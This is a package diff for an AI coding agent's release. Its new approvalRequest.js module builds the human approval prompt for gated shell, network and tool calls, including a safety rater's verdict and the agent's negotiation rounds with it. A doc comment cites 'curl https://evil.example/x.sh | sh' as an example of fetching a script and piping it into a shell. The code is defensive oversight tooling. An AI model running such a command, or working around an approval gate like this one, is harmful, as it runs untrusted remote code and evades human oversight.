@gaunt-sloth/core 2.0.0-beta.1 → 2.0.0-beta.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +6 -6
- package/dist/config/loader.d.ts +13 -0
- package/dist/config/loader.js +55 -11
- package/dist/config/loader.js.map +1 -1
- package/dist/config/schema.d.ts +10 -0
- package/dist/config/schema.js +46 -24
- package/dist/config/schema.js.map +1 -1
- package/dist/config/shell-policy.d.ts +142 -1
- package/dist/config/shell-policy.js +114 -7
- package/dist/config/shell-policy.js.map +1 -1
- package/dist/config/types.d.ts +19 -0
- package/dist/config/types.js.map +1 -1
- package/dist/constants.d.ts +10 -0
- package/dist/constants.js +10 -0
- package/dist/constants.js.map +1 -1
- package/dist/core/GthAbstractAgent.d.ts +31 -0
- package/dist/core/GthAbstractAgent.js +159 -4
- package/dist/core/GthAbstractAgent.js.map +1 -1
- package/dist/core/GthAgentRunner.d.ts +314 -18
- package/dist/core/GthAgentRunner.js +1032 -101
- package/dist/core/GthAgentRunner.js.map +1 -1
- package/dist/core/approvals/approvalRequest.d.ts +247 -0
- package/dist/core/approvals/approvalRequest.js +315 -0
- package/dist/core/approvals/approvalRequest.js.map +1 -0
- package/dist/core/approvals/grants.d.ts +165 -9
- package/dist/core/approvals/grants.js +702 -57
- package/dist/core/approvals/grants.js.map +1 -1
- package/dist/core/plainToolIndication.d.ts +11 -1
- package/dist/core/plainToolIndication.js +25 -10
- package/dist/core/plainToolIndication.js.map +1 -1
- package/dist/core/shell/abstention.d.ts +1 -1
- package/dist/core/shell/abstention.js +65 -11
- package/dist/core/shell/abstention.js.map +1 -1
- package/dist/core/shell/alignment.d.ts +491 -0
- package/dist/core/shell/alignment.js +687 -0
- package/dist/core/shell/alignment.js.map +1 -0
- package/dist/core/shell/approvalCapture.d.ts +53 -41
- package/dist/core/shell/approvalCapture.js +0 -42
- package/dist/core/shell/approvalCapture.js.map +1 -1
- package/dist/core/shell/approvalStop.d.ts +121 -3
- package/dist/core/shell/approvalStop.js +153 -90
- package/dist/core/shell/approvalStop.js.map +1 -1
- package/dist/core/shell/hardline.d.ts +26 -4
- package/dist/core/shell/hardline.js +321 -16
- package/dist/core/shell/hardline.js.map +1 -1
- package/dist/core/shell/negotiation.d.ts +352 -63
- package/dist/core/shell/negotiation.js +295 -123
- package/dist/core/shell/negotiation.js.map +1 -1
- package/dist/core/shell/openWorld.d.ts +135 -0
- package/dist/core/shell/openWorld.js +572 -35
- package/dist/core/shell/openWorld.js.map +1 -1
- package/dist/core/shell/provenance.d.ts +91 -0
- package/dist/core/shell/provenance.js +136 -0
- package/dist/core/shell/provenance.js.map +1 -0
- package/dist/core/shell/rater.d.ts +394 -163
- package/dist/core/shell/rater.js +536 -238
- package/dist/core/shell/rater.js.map +1 -1
- package/dist/core/shell/raterHealth.d.ts +101 -0
- package/dist/core/shell/raterHealth.js +121 -0
- package/dist/core/shell/raterHealth.js.map +1 -0
- package/dist/core/shell/raterModel.d.ts +17 -8
- package/dist/core/shell/raterModel.js +11 -8
- package/dist/core/shell/raterModel.js.map +1 -1
- package/dist/core/shell/rejection.d.ts +20 -5
- package/dist/core/shell/rejection.js +18 -4
- package/dist/core/shell/rejection.js.map +1 -1
- package/dist/core/toolDisplay.d.ts +42 -0
- package/dist/core/toolDisplay.js +31 -0
- package/dist/core/toolDisplay.js.map +1 -1
- package/dist/core/types.d.ts +134 -16
- package/dist/core/types.js.map +1 -1
- package/dist/providers/configurationPassthrough.d.ts +36 -6
- package/dist/providers/configurationPassthrough.js +40 -28
- package/dist/providers/configurationPassthrough.js.map +1 -1
- package/dist/providers/openrouter.js +36 -6
- package/dist/providers/openrouter.js.map +1 -1
- package/dist/providers/vertexai.js +21 -0
- package/dist/providers/vertexai.js.map +1 -1
- package/dist/utils/binaryOutputUtils.js +103 -21
- package/dist/utils/binaryOutputUtils.js.map +1 -1
- package/dist/utils/fileUtils.d.ts +7 -1
- package/dist/utils/fileUtils.js +17 -3
- package/dist/utils/fileUtils.js.map +1 -1
- package/dist/utils/globalConfigUtils.d.ts +5 -2
- package/dist/utils/globalConfigUtils.js +14 -3
- package/dist/utils/globalConfigUtils.js.map +1 -1
- package/dist/utils/vertexaiUtils.js +61 -3
- package/dist/utils/vertexaiUtils.js.map +1 -1
- package/package.json +4 -4
- package/schema/gsloth-config.schema.json +34 -0
|
@@ -0,0 +1,315 @@
|
|
|
1
|
+
import { approvalPromptHeader } from '#src/core/approvals/promptHeader.js';
|
|
2
|
+
import { toolCallHosts } from '#src/core/approvals/toolHost.js';
|
|
3
|
+
import { describeRaterOutcome, RATER_REASON_LABEL, } from '#src/core/shell/escalationSeverity.js';
|
|
4
|
+
import { frameUntrustedCommand, frameUntrustedText, frameWidthFor, narrowTerminalNotice, STICKY_PREVIEW_MAX_ROWS, } from '#src/core/shell/framing.js';
|
|
5
|
+
import { renderNegotiationRows } from '#src/core/shell/negotiation.js';
|
|
6
|
+
import { findComposedOpenWorld, findOpenWorldHostLiterals } from '#src/core/shell/openWorld.js';
|
|
7
|
+
/**
|
|
8
|
+
* The category sentence per {@link ApprovalCategory} — the only model of what the fixed block's
|
|
9
|
+
* second line may say.
|
|
10
|
+
*
|
|
11
|
+
* Each names the class of action rather than the action: *a shell command*, not the command. That
|
|
12
|
+
* is what makes them un-paddable, and it is also what makes them useful — a reader who sees the
|
|
13
|
+
* same four sentences over a session learns them, which a sentence built from the call never
|
|
14
|
+
* allows.
|
|
15
|
+
*
|
|
16
|
+
* The `network` line says the host is one the reader has not approved because that is what having
|
|
17
|
+
* reached a human means: a host the user named themselves is carved out of the open-world floor
|
|
18
|
+
* (§4.6) and a host on the allow-list never reaches this prompt at all.
|
|
19
|
+
*/
|
|
20
|
+
export const APPROVAL_CATEGORY_LINES = Object.freeze({
|
|
21
|
+
shell: 'It wants to run a shell command on this machine.',
|
|
22
|
+
network: 'It wants to reach a host over the network that you have not approved.',
|
|
23
|
+
mcpTool: 'It wants to call a tool on an MCP server.',
|
|
24
|
+
tool: 'It wants to use one of its own tools.',
|
|
25
|
+
});
|
|
26
|
+
/**
|
|
27
|
+
* The constant first line of the fixed block: Gaunt Sloth is asking, and an answer is what unblocks
|
|
28
|
+
* it.
|
|
29
|
+
*
|
|
30
|
+
* It names the product rather than "the agent" deliberately. This line is the one the eye lands on
|
|
31
|
+
* when a prompt appears under whatever the user was reading, and the fact worth carrying there is
|
|
32
|
+
* *which program on this terminal has stopped and is waiting for you*.
|
|
33
|
+
*/
|
|
34
|
+
export const APPROVAL_ASK_LINE = '⚠ Gaunt Sloth is asking you to approve a call.';
|
|
35
|
+
/**
|
|
36
|
+
* The constant third line of the fixed block on a surface whose conversation SCROLLS: where the
|
|
37
|
+
* call itself went.
|
|
38
|
+
*
|
|
39
|
+
* Only the Ink TUI uses it. The readline surface prints the request block and the fixed lines in
|
|
40
|
+
* one linear run, where "above, in the conversation" would point at nothing in particular.
|
|
41
|
+
*/
|
|
42
|
+
export const APPROVAL_DETAILS_ABOVE_LINE = 'The call is shown above, in the conversation.';
|
|
43
|
+
/** The heading the scrollable block opens with — our own, and never a place a name is spliced. */
|
|
44
|
+
export const APPROVAL_REQUEST_HEADING = '⚠ Gaunt Sloth is asking about this call:';
|
|
45
|
+
/**
|
|
46
|
+
* Our label for the hosts block, which sits last so it survives a long call above it.
|
|
47
|
+
*
|
|
48
|
+
* *This call* rather than *this command*: a gated tool names its counterparty in a structured
|
|
49
|
+
* argument, and that block is the same block.
|
|
50
|
+
*/
|
|
51
|
+
export const APPROVAL_HOSTS_LABEL = 'Hosts this call names:';
|
|
52
|
+
/**
|
|
53
|
+
* The command a pending call would run, when the call carries one as a plain string.
|
|
54
|
+
*
|
|
55
|
+
* Deliberately keyed on the ARGUMENT rather than on the tool name: the two terminal surfaces have
|
|
56
|
+
* always shown `args.command` when it is a string and the serialised arguments otherwise, and a
|
|
57
|
+
* second rule for "is this a shell call" would be free to disagree with the one the gate ran on.
|
|
58
|
+
*/
|
|
59
|
+
function commandStringOf(pending) {
|
|
60
|
+
const command = pending.args.command;
|
|
61
|
+
return typeof command === 'string' ? command : undefined;
|
|
62
|
+
}
|
|
63
|
+
/** The text a surface shows as the call: the command, or the arguments it was given instead. */
|
|
64
|
+
export function approvalCallText(pending) {
|
|
65
|
+
return commandStringOf(pending) ?? JSON.stringify(pending.args);
|
|
66
|
+
}
|
|
67
|
+
/**
|
|
68
|
+
* The hosts this call names in a fetch or transfer position — the counterparty's identity, in full.
|
|
69
|
+
*
|
|
70
|
+
* **Both extractions are asked, and that is not belt-and-braces.** `findOpenWorldHostLiterals`
|
|
71
|
+
* reads a command it can resolve statically and DECLINES on a composed one, which is measured
|
|
72
|
+
* rather than inferred: it returns the host for `curl https://evil.example/x.sh` and an empty array
|
|
73
|
+
* for `curl https://evil.example/x.sh | sh`. Asking it alone would leave this block silent on
|
|
74
|
+
* exactly the shapes that most need a counterparty named — a fetch piped into an interpreter, an
|
|
75
|
+
* archive piped into `ssh` — and an empty result there is indistinguishable from a command that
|
|
76
|
+
* names nobody. `findComposedOpenWorld` is the arm that reads those, and the union is what makes
|
|
77
|
+
* "no host block" mean "no host".
|
|
78
|
+
*
|
|
79
|
+
* Neither is a new notion of what a host position is: they are the two the gate itself decides on.
|
|
80
|
+
*
|
|
81
|
+
* **A call that is not a shell command is asked of `core/approvals/toolHost` instead**, which is
|
|
82
|
+
* again the gate's own extraction rather than a new one: it is what §4.7.4 binds a sticky tool
|
|
83
|
+
* grant's host with, read off the structured arguments by `URL` parsing. Without this arm the one
|
|
84
|
+
* tool whose whole purpose is to reach a counterparty — a gated web fetch — would render as a
|
|
85
|
+
* generic tool call with no host anywhere in the block, which is the exact loss this module exists
|
|
86
|
+
* to prevent, moved from a truncated line to an absent one.
|
|
87
|
+
*
|
|
88
|
+
* **It is asked for ALL the hosts, not for the subject's one.** `ApprovalSubject.host` is set only
|
|
89
|
+
* where a call names exactly one, because a grant may record only one — but a call naming several
|
|
90
|
+
* is the case where a reader most needs them named, and reading the subject's field would have gone
|
|
91
|
+
* silent on precisely that call.
|
|
92
|
+
*/
|
|
93
|
+
export function approvalHosts(pending) {
|
|
94
|
+
const kind = pending.subject?.kind;
|
|
95
|
+
const command = commandStringOf(pending);
|
|
96
|
+
if (kind === 'tool' || kind === 'mcpTool' || command === undefined) {
|
|
97
|
+
return toolCallHosts(pending.args);
|
|
98
|
+
}
|
|
99
|
+
const hosts = [...findOpenWorldHostLiterals(command)];
|
|
100
|
+
for (const host of findComposedOpenWorld(command)?.hosts ?? []) {
|
|
101
|
+
if (!hosts.includes(host))
|
|
102
|
+
hosts.push(host);
|
|
103
|
+
}
|
|
104
|
+
return hosts;
|
|
105
|
+
}
|
|
106
|
+
/**
|
|
107
|
+
* The {@link ApprovalCategory} for one gated call.
|
|
108
|
+
*
|
|
109
|
+
* The branch reads the subject the GATE decided on (`core/approvals/matcher`'s `ApprovalSubject`),
|
|
110
|
+
* so this is not a second classifier — `promptHeader` makes the same argument for the same reason.
|
|
111
|
+
* The one thing it adds is the `network` arm, which asks the same host extractions the gate itself
|
|
112
|
+
* ran ({@link approvalHosts}).
|
|
113
|
+
*
|
|
114
|
+
* **A named counterparty outranks the kind of call that names it, whatever the kind.** A fetch is
|
|
115
|
+
* the class where the host and not the verb is what the human is really ruling on, and that is as
|
|
116
|
+
* true of a gated web-fetch tool or an MCP tool handed a URL as it is of `curl` — the reader's
|
|
117
|
+
* question is *who is it talking to*, and answering it with *one of its own tools* buries the part
|
|
118
|
+
* that decides the answer. The kinds are what a call falls back to when it names nobody.
|
|
119
|
+
*
|
|
120
|
+
* **The two host extractions have deliberately different appetites, and the `network` arm inherits
|
|
121
|
+
* both.** A shell command's hosts come from a FETCH-POSITION analysis, so `echo https://x` names
|
|
122
|
+
* nobody; a tool's come from `core/approvals/toolHost`, whose whole test is *does this argument
|
|
123
|
+
* parse as a URL* — so writing a file whose entire content is a bare URL reads as `network` here.
|
|
124
|
+
* That over-detection is `toolHost`'s stated design (a value it fails to recognise costs a broader
|
|
125
|
+
* grant, never a narrower one) and this arm keeps it rather than second-guessing the extraction the
|
|
126
|
+
* grant is bound with. It errs toward the more alarming of two true sentences about a call that
|
|
127
|
+
* does carry a URL, which is the direction to err in.
|
|
128
|
+
*
|
|
129
|
+
* **A call with no subject falls to `tool` when it names nobody** — `promptHeader`'s fail-to-vague:
|
|
130
|
+
* a surface handed a hand-built interrupt gets the unspecific category rather than a specific one
|
|
131
|
+
* nothing established. It still reaches `network` where a host is named, since that arm reads the
|
|
132
|
+
* call rather than the subject.
|
|
133
|
+
*/
|
|
134
|
+
export function approvalCategoryFor(pending) {
|
|
135
|
+
if (approvalHosts(pending).length > 0)
|
|
136
|
+
return 'network';
|
|
137
|
+
if (pending.subject?.kind === 'shell')
|
|
138
|
+
return 'shell';
|
|
139
|
+
if (pending.subject?.kind === 'mcpTool')
|
|
140
|
+
return 'mcpTool';
|
|
141
|
+
return 'tool';
|
|
142
|
+
}
|
|
143
|
+
/** The fixed block's category line: one of {@link APPROVAL_CATEGORY_LINES}, and nothing else. */
|
|
144
|
+
export function approvalCategoryLine(pending) {
|
|
145
|
+
return APPROVAL_CATEGORY_LINES[approvalCategoryFor(pending)];
|
|
146
|
+
}
|
|
147
|
+
/** An escalation severity in this module's tones. The three names line up one for one. */
|
|
148
|
+
function severityTone(tone) {
|
|
149
|
+
return tone === 'danger' ? 'danger' : tone === 'warn' ? 'warn' : 'info';
|
|
150
|
+
}
|
|
151
|
+
/**
|
|
152
|
+
* A negotiation row's §5.4 voice in this module's tones.
|
|
153
|
+
*
|
|
154
|
+
* The rater's turns are `warn` because the human is ruling on an argument and an exchange painted
|
|
155
|
+
* in one colour asks them to work out who said what first. The agent's are `plain` and the
|
|
156
|
+
* renderer's own chrome is `chrome`, which is what both dialogs already did.
|
|
157
|
+
*/
|
|
158
|
+
function negotiationTone(voice) {
|
|
159
|
+
if (voice === 'rater')
|
|
160
|
+
return 'warn';
|
|
161
|
+
if (voice === 'chrome')
|
|
162
|
+
return 'chrome';
|
|
163
|
+
return 'plain';
|
|
164
|
+
}
|
|
165
|
+
/**
|
|
166
|
+
* The scrollable half of one approval request, as terminal rows.
|
|
167
|
+
*
|
|
168
|
+
* Every row is painted **verbatim, one row per line, and never re-wrapped** — the condition
|
|
169
|
+
* `core/shell/framing` states its column-0 guarantee over. A caller that joins these and hands them
|
|
170
|
+
* to something that wraps has undone the gutter.
|
|
171
|
+
*
|
|
172
|
+
* `columns` is what the surface reports (`stdout.columns`), resolved through `frameWidthFor` here
|
|
173
|
+
* so no two surfaces can disagree about how much of a command a human was shown. Below core's floor
|
|
174
|
+
* the frame is wider than the terminal and the guarantee lapses; `narrowTerminalNotice` leads the
|
|
175
|
+
* block in that case, so it lapses out loud.
|
|
176
|
+
*
|
|
177
|
+
* The order, top to bottom, and the reason for its two ends:
|
|
178
|
+
*
|
|
179
|
+
* 1. our heading and the category — the same category the fixed block names, so the two halves are
|
|
180
|
+
* visibly one request;
|
|
181
|
+
* 2. the rating, the `approvals.escalate` entry that fired, the §5 negotiation, and what a sticky
|
|
182
|
+
* answer would store — the EXPLANATION, which is the half that may be long and is the half that
|
|
183
|
+
* may scroll away;
|
|
184
|
+
* 3. what is being called, then the command;
|
|
185
|
+
* 4. the hosts, LAST.
|
|
186
|
+
*/
|
|
187
|
+
export function approvalRequestRows(pending, options) {
|
|
188
|
+
const width = frameWidthFor(options?.columns);
|
|
189
|
+
const rows = [];
|
|
190
|
+
const push = (tone, text) => {
|
|
191
|
+
rows.push({ tone, text });
|
|
192
|
+
};
|
|
193
|
+
const tooNarrow = narrowTerminalNotice(options?.columns);
|
|
194
|
+
if (tooNarrow)
|
|
195
|
+
push('warn', tooNarrow);
|
|
196
|
+
push('warn', APPROVAL_REQUEST_HEADING);
|
|
197
|
+
push('warn', approvalCategoryLine(pending));
|
|
198
|
+
// The rating, whenever one exists. §6 makes the explanation mandatory wherever there is one; at
|
|
199
|
+
// the unrated rungs there is none and the block shows the call alone. The heading is the gate's
|
|
200
|
+
// own sentence — the outcome and what it MEANS for undoing the call — so the severity survives a
|
|
201
|
+
// terminal with no colour. The reason under it is model-authored prose and is framed exactly like
|
|
202
|
+
// the command: protecting one and not the other would leave the block forgeable through the
|
|
203
|
+
// string that is meant to explain it.
|
|
204
|
+
if (pending.safetyVerdict) {
|
|
205
|
+
const severity = describeRaterOutcome(pending.safetyVerdict.outcome);
|
|
206
|
+
const tone = severityTone(severity.tone);
|
|
207
|
+
push(tone, severity.heading);
|
|
208
|
+
// The attribution has to be said rather than implied, now that the line above it is ours.
|
|
209
|
+
push('chrome', RATER_REASON_LABEL);
|
|
210
|
+
for (const line of frameUntrustedText(pending.safetyVerdict.reason, { width }).lines) {
|
|
211
|
+
push(tone, line);
|
|
212
|
+
}
|
|
213
|
+
}
|
|
214
|
+
// EXT-71 §3.2 — the declared `approvals.escalate` entry that brought this call here. Without it
|
|
215
|
+
// the user is asked about a call their own rung would have approved, with nothing tying the
|
|
216
|
+
// question to the line they wrote, which reads as the gate malfunctioning rather than as their
|
|
217
|
+
// rule working. Framed rather than interpolated: an MCP entry can carry server-supplied names.
|
|
218
|
+
if (pending.escalatedBy) {
|
|
219
|
+
push('warn', '⚠ Your approvals.escalate list matched this call:');
|
|
220
|
+
for (const line of frameUntrustedText(pending.escalatedBy, { width }).lines)
|
|
221
|
+
push('warn', line);
|
|
222
|
+
}
|
|
223
|
+
// [[EXT-29]] §6 — the whole §5 negotiation, when one preceded this. That the agent proposed the
|
|
224
|
+
// same command three times against two rejections that each told it what to fix is the most
|
|
225
|
+
// important thing here, and a block showing the final attempt alone asks the user to rule on a
|
|
226
|
+
// command when the decision they actually have is about an argument.
|
|
227
|
+
for (const row of renderNegotiationRows(pending.negotiationRounds ?? [], {
|
|
228
|
+
width,
|
|
229
|
+
...(pending.negotiationAttempts !== undefined ? { attempts: pending.negotiationAttempts } : {}),
|
|
230
|
+
})) {
|
|
231
|
+
push(negotiationTone(row.voice), row.text);
|
|
232
|
+
}
|
|
233
|
+
// EXT-71/EXT-70 §6 — what a sticky answer would store, at the moment of the choice and in the
|
|
234
|
+
// words the control is written in. Absent means the control is not offered at all.
|
|
235
|
+
//
|
|
236
|
+
// Still bounded to a few rows even here, where nothing scrolls off the bottom: these carry the
|
|
237
|
+
// command as typed and the entry repeats it, so an unbounded copy would print a long command
|
|
238
|
+
// three times over in one block for no gain over the framed copy below.
|
|
239
|
+
if (pending.grantPreview !== undefined) {
|
|
240
|
+
push('chrome', '[s]/[a] will remember:');
|
|
241
|
+
for (const line of frameUntrustedText(pending.grantSummary ?? pending.grantPreview, {
|
|
242
|
+
width,
|
|
243
|
+
maxRows: STICKY_PREVIEW_MAX_ROWS,
|
|
244
|
+
}).lines) {
|
|
245
|
+
push('aside', line);
|
|
246
|
+
}
|
|
247
|
+
push('chrome', ' stored as:');
|
|
248
|
+
for (const line of frameUntrustedText(pending.grantPreview, {
|
|
249
|
+
width,
|
|
250
|
+
maxRows: STICKY_PREVIEW_MAX_ROWS,
|
|
251
|
+
}).lines) {
|
|
252
|
+
push('aside', line);
|
|
253
|
+
}
|
|
254
|
+
}
|
|
255
|
+
// §6 — the deny mirror, and a DIFFERENT condition: the matcher's rule is *undecidable → no match
|
|
256
|
+
// on the allow side, a match on the deny side*, so a call the gate cannot statically resolve can
|
|
257
|
+
// be refused for good though it can never be approved for one. `recorded as:` rather than a
|
|
258
|
+
// second `stored as:` — one block with two labels that read alike is one a reader loses their
|
|
259
|
+
// place in.
|
|
260
|
+
if (pending.denyPreview !== undefined) {
|
|
261
|
+
push('chrome', '[d] will refuse this exact call, and save it to this project:');
|
|
262
|
+
for (const line of frameUntrustedText(pending.denySummary ?? pending.denyPreview, {
|
|
263
|
+
width,
|
|
264
|
+
maxRows: STICKY_PREVIEW_MAX_ROWS,
|
|
265
|
+
}).lines) {
|
|
266
|
+
push('aside', line);
|
|
267
|
+
}
|
|
268
|
+
push('chrome', ' recorded as:');
|
|
269
|
+
for (const line of frameUntrustedText(pending.denyPreview, {
|
|
270
|
+
width,
|
|
271
|
+
maxRows: STICKY_PREVIEW_MAX_ROWS,
|
|
272
|
+
}).lines) {
|
|
273
|
+
push('aside', line);
|
|
274
|
+
}
|
|
275
|
+
}
|
|
276
|
+
// [[TUI-C67]] — WHAT is being called, in core's one sentence, branched on the subject kind the
|
|
277
|
+
// gate itself decided on. It sits down here rather than at the top because it is identity rather
|
|
278
|
+
// than explanation, and identity is what has to survive a long block above it.
|
|
279
|
+
push('warn', `${approvalPromptHeader(pending)}:`);
|
|
280
|
+
// The call itself. Framed with the site extraction, which is what puts a command's substitution
|
|
281
|
+
// and composition boundaries — the decision-relevant positions in it — above the body.
|
|
282
|
+
const framedCall = frameUntrustedCommand(approvalCallText(pending), { width });
|
|
283
|
+
for (const notice of framedCall.notices)
|
|
284
|
+
push('warn', notice);
|
|
285
|
+
for (const line of framedCall.lines)
|
|
286
|
+
push('quoted', line);
|
|
287
|
+
// The counterparties, LAST. See this module's header for why this block and not the command is
|
|
288
|
+
// the one that ends the request: a hostile URL's identity is what a reader must not lose, and the
|
|
289
|
+
// rows nearest the prompt are the rows that survive.
|
|
290
|
+
const hosts = approvalHosts(pending);
|
|
291
|
+
if (hosts.length > 0) {
|
|
292
|
+
push('warn', APPROVAL_HOSTS_LABEL);
|
|
293
|
+
for (const host of hosts) {
|
|
294
|
+
for (const line of frameUntrustedText(host, { width }).lines)
|
|
295
|
+
push('warn', line);
|
|
296
|
+
}
|
|
297
|
+
}
|
|
298
|
+
return rows;
|
|
299
|
+
}
|
|
300
|
+
/**
|
|
301
|
+
* The tones as the readline surface's own {@link DialogTone}s.
|
|
302
|
+
*
|
|
303
|
+
* Exported so the mapping is one table rather than a `switch` inside a session module, and so a
|
|
304
|
+
* spec can assert both surfaces still paint every tone they are handed.
|
|
305
|
+
*/
|
|
306
|
+
export const APPROVAL_ROW_DIALOG_TONES = Object.freeze({
|
|
307
|
+
chrome: 'notice',
|
|
308
|
+
info: 'notice',
|
|
309
|
+
warn: 'warn',
|
|
310
|
+
danger: 'danger',
|
|
311
|
+
plain: 'plain',
|
|
312
|
+
quoted: 'plain',
|
|
313
|
+
aside: 'notice',
|
|
314
|
+
});
|
|
315
|
+
//# sourceMappingURL=approvalRequest.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"approvalRequest.js","sourceRoot":"","sources":["../../../src/core/approvals/approvalRequest.ts"],"names":[],"mappings":"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